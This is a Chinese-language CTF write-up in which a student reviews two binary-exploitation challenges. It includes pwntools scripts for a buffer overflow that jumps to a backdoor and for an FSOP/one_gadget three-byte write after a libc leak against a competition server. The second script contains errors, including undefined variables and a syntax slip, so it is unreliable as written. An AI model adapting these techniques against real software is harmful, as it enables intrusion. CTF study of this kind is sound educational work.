4月19日,作为大一萌新的我参加了这次CTF的线上赛,和师兄们一起做题,做出的题目不多,作为一场学习,配合wp来进行一次复盘。
1.count
这个应该算是这里面最简单的题目了。
先用IDA打开
查看程序逻辑:

这个程序的保护的canary也没开,只开了NX不可执行。
逻辑大概是题目给一个表达式,叫你算出来,重复199次。然后就可以有一次输入(溢出)的机会,这里也给出了后门函数,所以逻辑很简单,直接到溢出点,算好便宜,然后溢出就好。
这个题目遇到的主要问题是对pwntools里的数据接收不熟悉,脚本一直在前面的表达式处报错。
Exp:
from pwn import *
p=remote('xxxxx',xxxx)
for i in range(200):
p.recvuntil('Maths:')
key=p.recvuntil('=')[:-1]
print key
print eval(key)
p.sendline(key)
payload='a'*0x64+p64(304305682)
p.recvuntil('input answer:')
p.sendline(payload)
p.interactive()
2.MarksMan
这个题目给了文件和libc库,程序保护全开

这个题目会在一开始打印出puts的got表地址,配合所给出的Libc库可以算出libc的基址。(当然开了地址随机化之后,每次打印的got表地址不一样。)
这个题目里给出的攻击机会是在任意地址写三个字节的能力。
根据师兄的指导,应该是fsop攻击
通过这篇blog学习的fsop
blog for fsop用one_gadget 寻找指令



我们可以看到,在0x10A38C这个地址上,我们可以往前面退5个字节,依旧能执行指令的效果。(所以可以通过地址减5绕过)
Exp:
from pwn import *
p = remote('39.97.210.182', 10055)
#p.process('./chall')
p.recvuntil('I placed the target near: ')
puts_got = int(p.recvn(14), 16)#puts的got表地址
puts_libc = 0x809c0
libc_base = leak- puts_libc
address = libc_base + 8511328 #写入指令的地址
shoot = libc + 0x10a38c - 5 # -5 为了绕过check_v7函数
p.recvuntil('shoot!shoot!')
p.sendline(str(address))
log.success('shoot : ' + hex(shoot))
payload = ['', '', '']#将指令以小端存储发送
payload[0] = int(hex(shoot)[-2:], 16)
payload[1] = int(hex(shoot)[-4:-2], 16)
payload2] = int(hex(shoot)[-6:-4], 16)
for i in range(3):
log.success(hex(payload[i]))
p.sendlineafter("biang!", chr(payload[i]))
p.interactive()
这个exp是根据仿照师兄,自己复盘写的,fsop不是很懂,还是要多看看。
fsop的题目也是第一次见,记录一下。